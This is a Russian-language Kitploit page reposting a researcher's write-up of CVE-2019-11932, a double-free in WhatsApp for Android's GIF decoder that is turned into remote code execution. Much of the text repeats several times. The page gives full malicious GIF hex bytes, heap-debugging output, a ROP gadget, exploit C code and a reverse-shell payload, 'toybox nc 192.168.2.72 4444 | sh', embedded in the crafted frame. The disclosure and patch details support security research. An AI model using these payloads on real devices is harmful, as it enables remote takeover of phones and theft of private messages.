Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-11932 — Техническое описание и эксплойт-код для CVE-2019-11932, уязвимости двойного освобождения памяти в WhatsApp для Android, которая приводит к удаленному выполнению кода через специально созданный GIF-файл. | Kitploit
Инструменты/GitHubGitHub/infiniteloopers/cve-2019-11932
Безопасность AndroidАнализ уязвимостейЭксплуатацияМобильная безопасностьОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubinfiniteloopers/cve-2019-11932

CVE-2019-11932

Техническое описание и эксплойт-код для CVE-2019-11932, уязвимости двойного освобождения памяти в WhatsApp для Android, которая приводит к удаленному выполнению кода через специально созданный GIF-файл.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
4226 лет назадЕщё не проверено

CVE-2019-11932

Как ошибка double-free в WhatsApp превращается в RCE

Я расскажу о двойном освобождении (double-free) уязвимости, которую я обнаружил в WhatsApp для Android, и о том, как я превратил её в RCE. Я сообщил об этом в Facebook. Facebook подтвердил и официально исправил её в версии WhatsApp 2.19.244. Facebook помог зарезервировать CVE-2019-11932 для этой проблемы.

Пользователи WhatsApp, пожалуйста, обновитесь до последней версии WhatsApp (2.19.244 или выше), чтобы защититься от этой ошибки.

Шаги следующие:

0:16 Злоумышленник отправляет GIF-файл пользователю по любому каналу

Одним из них может быть отправка через WhatsApp как Документ (т.е. нажать кнопку «Скрепка» и выбрать «Документ», чтобы отправить повреждённый GIF) Если злоумышленник находится в списке контактов пользователя (т.е. друг), повреждённый GIF загружается автоматически без какого-либо взаимодействия с пользователем.

0:24 Пользователь хочет отправить медиафайл одному из своих друзей в WhatsApp. Он нажимает кнопку «Скрепка» и открывает галерею WhatsApp, чтобы выбрать медиафайл для отправки другу.

Обратите внимание, что пользователю не нужно ничего отправлять, так как простое открытие галереи WhatsApp активирует ошибку. Никаких дополнительных действий после нажатия на галерею WhatsApp не требуется.

0:30 Поскольку WhatsApp показывает предварительный просмотр каждого медиафайла (включая полученный GIF), это вызовет ошибку двойного освобождения и наш эксплойт RCE.

Уязвимость двойного освобождения в DDGifSlurp в decoding.c в libpl_droidsonroids_gif

Когда пользователь WhatsApp открывает галерею в WhatsApp для отправки медиафайла, WhatsApp анализирует его с помощью нативной библиотеки libpl_droidsonroids_gif.so для создания предварительного просмотра GIF-файла. libpl_droidsonroids_gif.so — это библиотека с открытым исходным кодом, доступная по адресу https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

GIF-файл содержит несколько закодированных кадров. Для хранения декодированных кадров используется буфер с именем rasterBits. Если все кадры имеют одинаковый размер, rasterBits повторно используется для хранения декодированных кадров без перераспределения. Однако rasterBits будет перераспределён, если выполняется одно из трёх условий:

width * height > originalWidth * originalHeight

width - originalWidth > 0

height - originalHeight > 0

Перераспределение — это комбинация free и malloc. Если размер перераспределения равен 0, это просто free. Предположим, у нас есть GIF-файл, содержащий 3 кадра размером 100, 0 и 0.

После первого перераспределения у нас есть буфер info->rasterBits размером 100.

При втором перераспределении размером 0 буфер info->rasterBits освобождается.

При третьем перераспределении размером 0 info->rasterBits освобождается снова.

Это приводит к уязвимости двойного освобождения. Место срабатывания можно найти в decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }

Как ошибка double-free в WhatsApp превращается в RCE 14 минут чтения НА ЭТОЙ СТРАНИЦЕ ДЕМО УЯЗВИМОСТЬ ДВОЙНОГО ОСВОБОЖДЕНИЯ В DDGIFSLURP В DECODING.C В LIBPL_DROIDSONROIDS_GIF УПРАВЛЕНИЕ РЕГИСТРОМ PC РАБОТА С ASLR И W^X СБОРКА ВСЕГО ВМЕСТЕ ЗАТРОНУТЫЕ ВЕРСИИ ВЕКТОРЫ АТАКИ В этом посте я расскажу о двойном освобождении (double-free) уязвимости, которую я обнаружил в WhatsApp для Android, и о том, как я превратил её в RCE. Я сообщил об этом в Facebook. Facebook подтвердил и официально исправил её в версии WhatsApp 2.19.244. Facebook помог зарезервировать CVE-2019-11932 для этой проблемы.

Пользователи WhatsApp, пожалуйста, обновитесь до последней версии WhatsApp (2.19.244 или выше), чтобы защититься от этой ошибки.

Демо https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view

Ссылка Google Drive для загрузки, если указанная выше ссылка недоступна https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

Шаги следующие:

0:16 Злоумышленник отправляет GIF-файл пользователю по любому каналу Одним из них может быть отправка через WhatsApp как Документ (т.е. нажать кнопку «Скрепка» и выбрать «Документ», чтобы отправить повреждённый GIF) Если злоумышленник находится в списке контактов пользователя (т.е. друг), повреждённый GIF загружается автоматически без какого-либо взаимодействия с пользователем. 0:24 Пользователь хочет отправить медиафайл одному из своих друзей в WhatsApp. Он нажимает кнопку «Скрепка» и открывает галерею WhatsApp, чтобы выбрать медиафайл для отправки другу. Обратите внимание, что пользователю не нужно ничего отправлять, так как простое открытие галереи WhatsApp активирует ошибку. Никаких дополнительных действий после нажатия на галерею WhatsApp не требуется. 0:30 Поскольку WhatsApp показывает предварительный просмотр каждого медиафайла (включая полученный GIF), это вызовет ошибку двойного освобождения и наш эксплойт RCE. Уязвимость двойного освобождения в DDGifSlurp в decoding.c в libpl_droidsonroids_gif Когда пользователь WhatsApp открывает галерею в WhatsApp для отправки медиафайла, WhatsApp анализирует его с помощью нативной библиотеки libpl_droidsonroids_gif.so для создания предварительного просмотра GIF-файла. libpl_droidsonroids_gif.so — это библиотека с открытым исходным кодом, доступная по адресу https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

GIF-файл содержит несколько закодированных кадров. Для хранения декодированных кадров используется буфер с именем rasterBits. Если все кадры имеют одинаковый размер, rasterBits повторно используется для хранения декодированных кадров без перераспределения. Однако rasterBits будет перераспределён, если выполняется одно из трёх условий:

width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 Перераспределение — это комбинация free и malloc. Если размер перераспределения равен 0, это просто free. Предположим, у нас есть GIF-файл, содержащий 3 кадра размером 100, 0 и 0.

После первого перераспределения у нас есть буфер info->rasterBits размером 100. При втором перераспределении размером 0 буфер info->rasterBits освобождается. При третьем перераспределении размером 0 info->rasterBits освобождается снова. Это приводит к уязвимости двойного освобождения. Место срабатывания можно найти в decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } В Android двойное освобождение памяти размером N приводит к тому, что два последующих выделения памяти размером N возвращают один и тот же адрес.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

Как ошибка double-free в WhatsApp превращается в RCE 14 минут чтения НА ЭТОЙ СТРАНИЦЕ ДЕМО УЯЗВИМОСТЬ ДВОЙНОГО ОСВОБОЖДЕНИЯ В DDGIFSLURP В DECODING.C В LIBPL_DROIDSONROIDS_GIF УПРАВЛЕНИЕ РЕГИСТРОМ PC РАБОТА С ASLR И W^X СБОРКА ВСЕГО ВМЕСТЕ ЗАТРОНУТЫЕ ВЕРСИИ ВЕКТОРЫ АТАКИ В этом посте я расскажу о двойном освобождении (double-free) уязвимости, которую я обнаружил в WhatsApp для Android, и о том, как я превратил её в RCE. Я сообщил об этом в Facebook. Facebook подтвердил и официально исправил её в версии WhatsApp 2.19.244. Facebook помог зарезервировать CVE-2019-11932 для этой проблемы.

Пользователи WhatsApp, пожалуйста, обновитесь до последней версии WhatsApp (2.19.244 или выше), чтобы защититься от этой ошибки.

Демо https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view

Ссылка Google Drive для загрузки, если указанная выше ссылка недоступна https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

Шаги следующие:

0:16 Злоумышленник отправляет GIF-файл пользователю по любому каналу Одним из них может быть отправка через WhatsApp как Документ (т.е. нажать кнопку «Скрепка» и выбрать «Документ», чтобы отправить повреждённый GIF) Если злоумышленник находится в списке контактов пользователя (т.е. друг), повреждённый GIF загружается автоматически без какого-либо взаимодействия с пользователем. 0:24 Пользователь хочет отправить медиафайл одному из своих друзей в WhatsApp. Он нажимает кнопку «Скрепка» и открывает галерею WhatsApp, чтобы выбрать медиафайл для отправки другу. Обратите внимание, что пользователю не нужно ничего отправлять, так как простое открытие галереи WhatsApp активирует ошибку. Никаких дополнительных действий после нажатия на галерею WhatsApp не требуется. 0:30 Поскольку WhatsApp показывает предварительный просмотр каждого медиафайла (включая полученный GIF), это вызовет ошибку двойного освобождения и наш эксплойт RCE. Уязвимость двойного освобождения в DDGifSlurp в decoding.c в libpl_droidsonroids_gif Когда пользователь WhatsApp открывает галерею в WhatsApp для отправки медиафайла, WhatsApp анализирует его с помощью нативной библиотеки libpl_droidsonroids_gif.so для создания предварительного просмотра GIF-файла. libpl_droidsonroids_gif.so — это библиотека с открытым исходным кодом, доступная по адресу https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

GIF-файл содержит несколько закодированных кадров. Для хранения декодированных кадров используется буфер с именем rasterBits. Если все кадры имеют одинаковый размер, rasterBits повторно используется для хранения декодированных кадров без перераспределения. Однако rasterBits будет перераспределён, если выполняется одно из трёх условий:

width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 Перераспределение — это комбинация free и malloc. Если размер перераспределения равен 0, это просто free. Предположим, у нас есть GIF-файл, содержащий 3 кадра размером 100, 0 и 0.

После первого перераспределения у нас есть буфер info->rasterBits размером 100. При втором перераспределении размером 0 буфер info->rasterBits освобождается. При третьем перераспределении размером 0 info->rasterBits освобождается снова. Это приводит к уязвимости двойного освобождения. Место срабатывания можно найти в decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } В Android двойное освобождение памяти размером N приводит к тому, что два последующих выделения памяти размером N возвращают один и тот же адрес.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

В приведённом выше фрагменте переменная $foo была освобождена дважды. В результате следующие два выделения ($20 и $21) возвращают один и тот же адрес. Теперь посмотрим на структуру GifInfo в gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };

Затем мы создаём GIF-файл с тремя кадрами следующих размеров: sizeof(GifInfo) 0 0

Когда открывается галерея WhatsApp, указанный GIF-файл вызывает ошибку двойного освобождения для буфера rasterBits размером sizeof(GifInfo). Интересно, что в галерее WhatsApp GIF-файл анализируется дважды. Когда указанный GIF-файл анализируется снова, создаётся ещё один объект GifInfo. Из-за поведения двойного освобождения в Android объект GifInfo info и info->rasterBits будут указывать на один и тот же адрес. Затем DDGifSlurp() декодирует первый кадр в буфер info->rasterBits, тем самым перезаписывая info и его rewindFunction(), которая вызывается в конце функции DDGifSlurp().

Управление регистром PC

GIF-файл, который нам нужно создать, выглядит следующим образом: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

Он содержит четыре кадра: Frame 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Frame 2: 2C 00 00 00 00 1C 0F 00 00 00 00 Frame 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Frame 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 Ниже описана последовательность, происходящая при открытии галереи WhatsApp:

Первый разбор: Инициализация: GifInfo info = malloc(168); Кадр 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Кадр 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Кадр 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Кадр 4: не имеет значения, он здесь, чтобы сделать этот GIF-файл корректным Второй разбор: Инициализация: GifInfo info = malloc(168); Кадр 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Кадр 2, 3, 4: не имеют значения Конец: info->rewindFunction(info); Из-за ошибки двойного освобождения, произошедшей при первом разборе, info и info->rasterBits теперь указывают на одно и то же место. С первым кадром, созданным, как описано, мы можем управлять rewindFunction и PC, когда вызывается info->rewindFunction(info);. Обратите внимание, что все кадры закодированы LZW. Мы должны использовать кодировщик LZW для кодирования кадров. Вышеуказанный GIF вызывает краш, как показано ниже:

--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc

Работа с ASLR и W^X

После управления PC мы хотим добиться удалённого выполнения кода. В Android мы не можем выполнять код в неисполняемых областях из-за W^X (т.е. стек и куча). Самый простой способ справиться с W^X в нашем случае — выполнить следующую команду:

system("toybox nc 192.168.2.72 4444 | sh"); Для этого нам нужно, чтобы PC указывал на функцию system() в libc.so, а X0 указывал на "toybox nc 192.168.2.72 4444 | sh". Это нельзя сделать напрямую. Нам нужно сначала заставить PC перейти на промежуточный гаджет, который устанавливает X0 в указатель на "toybox nc 192.168.2.72 4444 | sh" и затем переходит к system(). Из дизассемблированного кода вокруг info->rewindFunction(info); видно, что и X0, и X19 указывают на info->rasterBits (или info, так как они указывают на одно и то же место), в то время как X8 на самом деле является info->rewindFunction.

Дизассемблирование вокруг info->rewindFunctionВ libhwui.so есть гаджет, который идеально подходит для наших целей:

ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Допустим, адрес вышеуказанного гаджета — AAAAAAAA, а адрес функции system() — BBBBBBBB. Буфер rasterBits (кадр 1) до кодирования LZW выглядит следующим образом:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. В обычной системе Android, поскольку все процессы порождаются из Zygote, даже с ASLR наши адреса AAAAAAAA и BBBBBBBB не меняются, если WhatsApp убит и перезапущен. Однако они не сохраняются после перезагрузки системы. Чтобы иметь надежные AAAAAAAA и BBBBBBBB, нам нужна уязвимость раскрытия информации, которая дает нам базовый адрес libc.so и libhwui.so. Эта уязвимость выходит за рамки данной статьи.

Собираем всё вместе

Просто скомпилируйте код из этого репозитория. Обратите внимание, что адрес system() и гаджета должны быть заменены на фактические адреса, полученные через уязвимость раскрытия информации (которая не рассматривается в этой статье). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);

root@kitploit:~
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);

Запустите код, чтобы сгенерировать поврежденный GIF-файл:

notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B Затем скопируйте содержимое в GIF-файл и отправьте его как документ через WhatsApp другому пользователю WhatsApp. Обратите внимание, что его нельзя отправлять как медиафайл, иначе WhatsApp попытается преобразовать его в MP4 перед отправкой. Когда пользователь получит вредоносный GIF-файл, ничего не произойдет, пока пользователь не откроет галерею WhatsApp, чтобы отправить медиафайл своему другу.

Затронутые версии

Эксплойт работает до версии WhatsApp 2.19.230. Уязвимость официально исправлена в версии WhatsApp 2.19.244

Эксплойт хорошо работает на Android 8.1 и 9.0, но не работает на Android 8.0 и ниже. В более старых версиях Android двойное освобождение (double-free) всё ещё может быть вызвано. Однако из-за вызовов malloc системой после двойного освобождения приложение просто падает, прежде чем мы дойдем до точки, где мы могли бы управлять регистром PC.

Обратите внимание, что Facebook уведомил разработчика репозитория android-gif-drawable о проблеме. Исправление от Facebook было также включено в оригинальный репозиторий в коммите от 10 августа. Версия 1.2.18 android-gif-drawable безопасна от ошибки двойного освобождения.

Векторы атак

С помощью вышеописанной эксплуатации мы можем получить два вектора атак:

  • Повышение локальных привилегий (из пользовательского приложения в WhatsApp): вредоносное приложение устанавливается на устройство Android. Приложение собирает адреса библиотек Zygote и генерирует вредоносный GIF-файл, что приводит к выполнению кода в контексте WhatsApp. Это позволяет вредоносному приложению похищать файлы в песочнице WhatsApp, включая базу данных сообщений.
  • Удаленное выполнение кода: в паре с приложением, имеющим уязвимость удаленного раскрытия информации о памяти (например, браузер), злоумышленник может собрать адреса библиотек Zygote и создать вредоносный GIF-файл, чтобы отправить его пользователю через WhatsApp (должен быть вложением, а не изображением через выбор из галереи). Как только пользователь открывает представление галереи в WhatsApp (кто же никогда не отправляет медиафайлы друзьям, верно?), GIF-файл запускает удаленную оболочку в контексте WhatsApp.

#Источник Afnan Sadhayo Infiniteloopers.com

Я не владею этим, если у вас есть проблемы, свяжитесь с владельцем

Скачать инструмент